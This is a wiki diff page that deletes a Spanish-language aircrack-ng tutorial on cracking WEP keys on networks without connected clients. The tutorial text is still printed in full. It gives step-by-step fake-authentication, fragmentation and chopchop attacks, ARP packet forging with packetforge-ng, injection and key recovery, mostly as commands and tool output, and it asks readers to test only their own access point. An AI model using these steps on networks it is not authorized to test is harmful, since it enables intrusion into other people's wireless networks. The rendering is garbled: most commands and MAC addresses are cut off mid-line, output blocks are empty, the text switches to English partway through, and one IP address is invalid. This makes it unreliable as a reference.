spanish_how_to_crack_wep_with_no_clients
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
spanish_how_to_crack_wep_with_no_clients [2007/02/24 09:25] – spanish | spanish_how_to_crack_wep_with_no_clients [2009/08/14 18:25] (current) – --- mister_x | ||
---|---|---|---|
Line 1: | Line 1: | ||
- | ====== Tutorial: Como crackear WEP sin clientes ====== | ||
- | Version: 1.02. de 10 de Febrero de 2007 | ||
- | By: darkAudax | ||
- | Video: http:// | ||
- | ===== Introducción ===== | ||
- | Hay muchas veces que encontramos redes wireless que no tienen clientes conectados. Este tutorial describe como obtener la clave WEP cuando no hay clientes. Aunque este tema ha sido discutido muchas veces en el Foro, este tutorial está hecho con la intención de entrar en más detalles y poner algunos ejemplos. | ||
- | |||
- | Es recomendable que cada uno experimente con su propio punto de acceso wireless, para familiarizarse con estas ideas y técnicas. Si no tienes un punto de acceso propio, recuerda que tienes que pedir permiso al propietario del router | ||
- | |||
- | Antes de nada hay que darles las gracias a los Desarrolladores de la suite Aircrack-ng por crear estas herramientas tan fantásticas. | ||
- | |||
- | Por favor, enviame cualquier sugerencia, positiva o negativa. Bien sean problemas o buenas ideas serán bienvenidas. | ||
- | |||
- | |||
- | ===== Puntos de partida ===== | ||
- | |||
- | Suponemos que: | ||
- | |||
- | * Estás usando drivers parcheados para inyección. Puedes capturar paquetes con Wireshark para comprobar si estás inyectando. | ||
- | * Estás físicamente suficientemente cerca para enviar y recibir paquetes del punto de acceso. Recuerda que recibir paquetes del punto de acceso no significa que los paquetes que transmitas sean recibidos por el AP. La fuerza de la señal de las tarjetas wireless generalmente es menor que la fuerza de la señal de los AP. Por lo tanto, es necesario estar cerca del AP, para que los paquetes que transmitimos sean recibidos por el AP. | ||
- | * No hay paquetes de datos que vienen del punto de acceso. Beacons (balizas) y otros paquetes como " | ||
- | * El punto de acceso usa encriptación WEP abierta (open authentication). No funcionará si la autentificación es compartida (shared key authentication) (SKA). Con SKA el único método si no existen clientes es capturar el PRGA xor data con airodump-ng handshake o hacer previamente un ataque con aireplay-ng. Esto es así porque necesitas el archivo PRGA xor para hacer una falsa autenticación de forma exitosa. | ||
- | * Usamos la versión 0.7 de aircrack-ng. Si usas otra versión algunos comandos puede que se tengan que escribir de forma diferente. | ||
- | |||
- | Asegurate de que cumples todas las condiciones, | ||
- | |||
- | |||
- | ===== Equipo usado ===== | ||
- | |||
- | En este tutorial: | ||
- | |||
- | * Dirección MAC del PC ejecutando la suite aircrack-ng: | ||
- | * BSSID (dirección MAC del punto de acceso): 00: | ||
- | * ESSID (nombre de la red Wireless): teddy | ||
- | * Canal del AP: 9 | ||
- | * Interface Wireless: ath0 | ||
- | |||
- | Tienes que obtener la información equivalente de la red sobre la que quieres trabajar. Y cambiar estos valores en los siguientes ejemplos. | ||
- | |||
- | ===== Solución ===== | ||
- | |||
- | ==== Contenidos ==== | ||
- | |||
- | Aquí estań los pasos que vamos a seguir: | ||
- | |||
- | *1 - Fijar la dirección MAC de la tarjeta wireless | ||
- | *2 - Colocar la interface wireless en modo monitor y fijar el canal | ||
- | *3 - Usar aireplay-ng para hacer una falsa autenticación con el punto de acceso | ||
- | *4 - Usar chopchop o ataque de fragmentación para obtener PRGA | ||
- | *5 - Usar packetforge-ng para crear un paquete arp usando el PRGA obtenido en el paso anterior | ||
- | *6 - Iniciar airodump-ng en el canal del AP con filtro de bssid para capturar IVs | ||
- | *7 - Inyectar el paquete arp creado en el paso 5 | ||
- | *8 - Ejecutar aircrack-ng para obtener la clave WEP | ||
- | |||
- | |||
- | ==== Paso 1 - Fijar la dirección MAC de la tarjeta wireless ==== | ||
- | |||
- | Para ser honesto, nosotros no hemos cambiado la dirección MAC de nuestra tarjeta. | ||
- | |||
- | Esto es un recordatorio para que uses tu dirección MAC real y no una falsa. En el paso 3 es importante que la dirección MAC que se use sea la de la nuestra tarjeta, para realizar la falsa autenticación. Si quieres cambiar la dirección MAC de tu tarjeta puedes consultar este : post en inglés FAQ[[http:// | ||
- | |||
- | ==== Paso 2 - Colocar la interface wireless en modo monitor y fijar el canal ==== | ||
- | |||
- | Escribe el siguiente comando para poner la tarjeta wireless | ||
- | |||
- | airmon-ng start wifi0 9 | ||
- | |||
- | Nota: En este comando usamos “wifi0” en lugar de nuestra interface “ath0”. Esto se debe a que estamos usando los drivers madwifi-ng y no madwifi-old. | ||
- | |||
- | El sistema nos responderá: | ||
- | |||
- | | ||
- | |||
- | | ||
- | | ||
- | |||
- | Puedes observar que “ath0” aparece colocada en modo monitor. | ||
- | |||
- | Escribe “ifconfig ath0 up” para levantar la interface ath0 que usaremos a continuación. | ||
- | |||
- | Para confirmar que la interface está bien configurada, | ||
- | |||
- | El sistema nos responderá: | ||
- | |||
- | | ||
- | |||
- | | ||
- | |||
- | | ||
- | |||
- | | ||
- | | ||
- | Bit Rate:0 kb/s | ||
- | | ||
- | | ||
- | Power Management: | ||
- | Link Quality=0/ | ||
- | Rx invalid nwid: | ||
- | Tx excessive retries: | ||
- | |||
- | Podemos ver que ath0 está en modo monitor, en la frecuencia 2.452GHz que corresponde al canal 9 y en " | ||
- | |||
- | Para ver la correspondencia entre frecuencia y canal, mira: http:// | ||
- | |||
- | |||
- | |||
- | === Problemas === | ||
- | |||
- | *Si tienes otra interface en modo monitor que no sea ath0, puedes usarla o escribir “airomon-ng stop athX” donde X es la interface que quieres parar. | ||
- | |||
- | |||
- | |||
- | ==== Usar aireplay-ng para hacer una falsa autenticación con el punto de acceso ==== | ||
- | |||
- | Este es un paso muy importante. | ||
- | |||
- | Para que un punto de acceso acepte un paquete, la dirección MAC debe estar previamente asociada. Si la dirección MAC con la cual estas inyectando no etá asociada, el AP ignorará el paquete y enviará un paquete de desautentificación. En este caso, no se crearán nuevos IVs porque el AP está ignorando todos los paquetes inyectados. | ||
- | |||
- | La falta de asociación con el punto de acceso es la razón más habitual por la cual falla la inyección. | ||
- | |||
- | Para asociarse con un punto de acceso, usa el comando: | ||
- | |||
- | aireplay-ng -1 0 -e teddy -a 00: | ||
- | |||
- | Donde: | ||
- | |||
- | *-1 significa falsa autenticación (fake authentication) | ||
- | *0 tiempo de reasociación en segundos | ||
- | *-e teddy es el nombre de la red wireless | ||
- | *-a 00: | ||
- | *-h 00: | ||
- | *ath0 es el nombre de nuestra interface | ||
- | |||
- | Si tenemos éxito aparecerá algo como esto: | ||
- | 18: | ||
- | 18: | ||
- | 18: | ||
- | 18: | ||
- | |||
- | Otra variación que puede funcionar en algunos puntos de acceso: | ||
- | |||
- | aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00: | ||
- | |||
- | Donde: | ||
- | |||
- | *6000 Reautenticación cada 6000 segundos. En este periodo de tiempo se siguen enviando paquetes de sigo aquí o "keep alive packets" | ||
- | *-o 1 Envia solo un tipo de paquetes de cada vez. El valor por defecto es " | ||
- | *-q 10 Se envian paquetes de "sigo aquí" cada 10 segundos. | ||
- | |||
- | Si tenemos éxito aparecerá algo como esto: | ||
- | 18: | ||
- | 18: | ||
- | 18: | ||
- | 18: | ||
- | 18: | ||
- | 18: | ||
- | # etc.... | ||
- | |||
- | Ahora ponemos un ejemplo de un fallo de autenticación: | ||
- | 8: | ||
- | 18: | ||
- | 18: | ||
- | 18: | ||
- | 18: | ||
- | 18: | ||
- | 18: | ||
- | 18: | ||
- | 18: | ||
- | 18: | ||
- | 18: | ||
- | |||
- | Presta atención a “Got a deauthentication packet” y los continuos intentos de asociación. No se puede pasar al siguiente paso hasta que funcione la falsa autenticación de forma correcta. | ||
- | |||
- | === Problemas === | ||
- | |||
- | *Algunos puntos de acceso están configurados para permitir únicamente una dirección MAC para asociarse y conectarse. Si este es tu caso, no serás capaz de realizar la falsa autenticación de forma éxitosa, salvo que conozcas una de las direcciones MAC que están permitidas para poder conectarse a ese AP. | ||
- | |||
- | *Si deseas confirmar que estás asociado de forma correcta puedes usar tcpdump y mirar los paquetes. Inicia una consola y escribe: | ||
- | |||
- | | ||
- | Run: " | ||
- | |||
- | Here is a typical tcpdump error message you are looking for: | ||
- | |||
- | | ||
- | |||
- | Presta atención que el punto de acceso (00: | ||
- | |||
- | Si solo quieres seleccionar los paquetes de deautenticación con tcpdump usa: “tcpdump -n -e -s0 -vvv -i ath0 | grep DeAuth”. Puedes cambiar la palabra “DeAuth” para escoger otros paquetes que quieras buscar. | ||
- | |||
- | |||
- | |||
- | ==== Paso 4 - Usar chopchop o ataque de fragmentación para obtener PRGA ==== | ||
- | |||
- | El objetivo de [[korek_chopchop|chopchop]] y del [[fragmentation|ataque de fragmentación]] es obtener un archivo PRGA (del ingles " | ||
- | |||
- | Tanto chopchop como el ataque de fragmentación pueden ser usados para obtener el archivo PRGA. El resultado es el mismo, por lo que usa el que mejor te funcione. Los pros y contras de cada ataque están descritos en la página de [[aircrack-ng]]. | ||
- | |||
- | A continuación exponemos primero el ataque de fragmentación. Abrimos otra consola y escribimos: | ||
- | |||
- | aireplay-ng -5 -b 00: | ||
- | |||
- | Donde: | ||
- | |||
- | *-5 significa ataque de fragmentación | ||
- | *-b 00: | ||
- | *-h 00: | ||
- | *ath0 es el nombre de nuestra interface | ||
- | |||
- | La respuesta que obtendremos será: | ||
- | |||
- | | ||
- | | ||
- | Read 127 packets... | ||
- | |||
- | Size: 114, FromDS: 1, ToDS: 0 (WEP) | ||
- | |||
- | | ||
- | Dest. MAC = 01: | ||
- | | ||
- | |||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | |||
- | Use this packet ? y | ||
- | |||
- | Cuando recibamos un paquete del punto de acceso, escribe “y” para continuar. Puede que sea necesario probar unos pocos paquetes para tener éxito. | ||
- | |||
- | Si tenemos éxito aparecerá algo como esto: | ||
- | |||
- | | ||
- | Data packet found! | ||
- | | ||
- | Got RELAYED packet!! | ||
- | Thats our ARP packet! | ||
- | | ||
- | Got RELAYED packet!! | ||
- | Thats our ARP packet! | ||
- | | ||
- | Got RELAYED packet!! | ||
- | Thats our ARP packet! | ||
- | | ||
- | Now you can build a packet with packetforge-ng out of that 1500 bytes keystream | ||
- | |||
- | | ||
- | |||
- | Si con el ataque de fragmentación no hemos tenido éxito, podemos probar la técnica chopchop. Para ello ejecuta: | ||
- | |||
- | aireplay-ng -4 ath0 -h 00: | ||
- | |||
- | Donde: | ||
- | |||
- | *-4 significa ataque chopchop | ||
- | *-h 00: | ||
- | *ath0 es el nombre de nuestra interface | ||
- | |||
- | La respuesta que obtendremos será: | ||
- | |||
- | Read 165 packets... | ||
- | | ||
- | Size: 86, FromDS: 1, ToDS: 0 (WEP) | ||
- | |||
- | | ||
- | Dest. MAC = FF: | ||
- | | ||
- | |||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | Use this packet ? y | ||
- | |||
- | Contesta "y” y el proceso continuará. | ||
- | |||
- | | ||
- | |||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | Sent 957 packets, current guess: B9... | ||
- | |||
- | The AP appears to drop packets shorter than 35 bytes. | ||
- | | ||
- | |||
- | | ||
- | | ||
- | |||
- | | ||
- | |||
- | Fantástico! El archivo “replay_dec-0201-191706.xor” lo podremos usar en el siguiente paso para generar un paquete arp. | ||
- | |||
- | === Pequeñas ayudas === | ||
- | |||
- | *Asegúrate de que el paquete es de 68 o más bytes porque sino no tendrás suficientes datos PRGA para generar el paquete. El PRGA capturado tiene que ser igual o mayor que la longitud del paquete que queremos generar. | ||
- | *Para generar algunos paquetes para forzar el comienzo de chopchop to start, haz ping a una IP inexistente de tu red. Esto forzará que el AP emita un "arp broadcast" | ||
- | *Puedes comprobar el paquete desencriptado ejecutando “tcpdump -n -vvv -e -s0 -r replay_dec-0201-191706.cap”. En nuestroejemplo: | ||
- | | ||
- | 19: | ||
- | *Puedes reusar el paquete capturado ejecutando “aireplay-ng -4 ath0 -h 00: | ||
- | *Si tienes un archivo de capturas de una sesión anterior, puedes usarlo con el comando “aireplay-ng -4 ath0 -h 00: | ||
- | |||
- | |||
- | === Problemas === | ||
- | |||
- | *Si el primer paquete que has seleccionado no funciona, prueba unos pocos más. Algunas veces hay que intentarlo varias veces para conseguir tener éxito en cualquiera de los ataques. | ||
- | *El ataque chopchop no funciona en algunos puntos de acceso. Si esto ocurre, prueba el ataque de fragmentación. Y viceversa. | ||
- | *Asegurate de que estás correctamente asociado al AP. Para comprobarlo sigue las instrucciones del paso 2 con tcpdump. | ||
- | |||
- | |||
- | |||
- | |||
- | ==== Paso 5 - Usar packetforge-ng para crear un paquete arp ==== | ||
- | |||
- | En el paso anterior hemos obtenido el PRGA. No importa con que ataque hemos generado el PRGA. Este PRGA se encuentra en los archivos con extensión “xor”. Podemos entonces usar este PRGA para generar un paquete para inyectar. Generaremos un paquete arp para la inyección. El objetivo es que el punto de acceso reenvie continuamente el paquete arp inyectado. Cuando lo reenvie obtendremos un nuevo IV (vector de inicialización). Todos estos IVs los usaremos para obtener la clave WEP. | ||
- | |||
- | Pero primero vamos a generar el paquete arp para la inyección, escribiendo: | ||
- | |||
- | packetforge-ng -0 -a 00: | ||
- | |||
- | Donde: | ||
- | |||
- | *-0 significa generar un paquete arp | ||
- | *-a 00: | ||
- | *-h 00: | ||
- | *-k 255.255.255.255 es la IP de destino (la mayoría de los APs responden a 255.255.255.255) | ||
- | *-l 255.255.255.255.255 es la IP de origen (la mayoría de los APs responden a 255.255.255.255) | ||
- | *-y fragment-0203-180343.xor es el archivo del que se leerá el PRGA | ||
- | *-w arp-request es el nombre del archivo en el que se guardará el paquete arp | ||
- | |||
- | La respuesta que obtendremos será: | ||
- | |||
- | Wrote packet to: arp-request | ||
- | |||
- | === Pequeñas ayudas === | ||
- | |||
- | *Despues de crear el paquete, usa tcpdump para revisarlo. Escribe | ||
- | |||
- | tcpdump -n -vvv -e -s0 -r arp-request | ||
- | | ||
- | | ||
- | | ||
- | |||
- | Como estamos probando con nuestro propio AP (si no es así NO CONTINUES!), | ||
- | |||
- | Escribimos: " | ||
- | |||
- | |||
- | | ||
- | | ||
- | | ||
- | |||
- | ==== Paso 6 - Iniciar airodump-ng ==== | ||
- | |||
- | Abrir otra consola para capturar los IVs generados. Y escribir: | ||
- | |||
- | airodump-ng -c 9 --bssid 00: | ||
- | |||
- | Donde: | ||
- | |||
- | *-c 9 es el canal de la red wireless | ||
- | *–bssid 00: | ||
- | *–ivs especifica que solo capturaremos IVs. Así el archivo será muy pequeño. | ||
- | *-w capture es el nombre del archivo en el que guardaremos los IVs. | ||
- | *ath0 es el nombre de nuestra interface. | ||
- | |||
- | |||
- | |||
- | ==== Step 7 - | ||
- | |||
- | Using the console session where you generated the arp packet, enter: | ||
- | |||
- | aireplay-ng -2 -r arp-request ath0 | ||
- | |||
- | Where: | ||
- | *-2 means use interactive frame selection | ||
- | *-r arp-request defines the file name from which to read the arp packet | ||
- | *ath0 defines the interface to use | ||
- | |||
- | The system will respond: | ||
- | |||
- | Size: 68, FromDS: 0, ToDS: 1 (WEP) | ||
- | | ||
- | | ||
- | Dest. MAC = FF: | ||
- | Source MAC = 00: | ||
- | | ||
- | 0x0000: | ||
- | 0x0010: | ||
- | 0x0020: | ||
- | 0x0030: | ||
- | 0x0040: | ||
- | | ||
- | Use this packet ? y | ||
- | |||
- | Enter " | ||
- | |||
- | | ||
- | You should also start airodump-ng to capture replies. | ||
- | |||
- | End of file. | ||
- | |||
- | While this command is successfully running, the airodump-ng screen will look similar to: | ||
- | |||
- | | ||
- | |||
- | BSSID PWR RXQ Beacons | ||
- | |||
- | 00: | ||
- | |||
- | BSSID STATION | ||
- | |||
- | 00: | ||
- | |||
- | You will notice that only one access point is being display since we included an airodump-ng filter to limit the capture to a single BSSID. | ||
- | |||
- | === Troubleshooting Tips === | ||
- | |||
- | *If the BSSID data packets are not increasing make sure you are still associated with the access point. | ||
- | |||
- | |||
- | ==== Step 8 - Run aircrack-ng to obtain the WEP key ==== | ||
- | |||
- | Start another console session and enter: | ||
- | |||
- | aircrack-ng *.ivs -b 00: | ||
- | |||
- | Where: | ||
- | **.ivs selects all files ending in " | ||
- | *-b 00: | ||
- | |||
- | You can run this while generating packets. | ||
- | |||
- | Troubleshooting Tips: | ||
- | |||
- | *Sometimes you need to try various techniques to crack the WEP key. Try " | ||
- | |||
- | |||
- | =====Change Log ===== | ||
- | Februray 16/2007 | ||
- | * Added video from [[http:// | ||
- | |||
- | February 10/2007 v1.02 | ||
- | * Added the assumption with regards to open authentication | ||
- | |||
- | February 7/2007 v1.01 | ||
- | * Incorporated correction and feedback from cjaghblb | ||
- | |||
- | February 4/2007 v1.00 | ||
- | * Initial Release |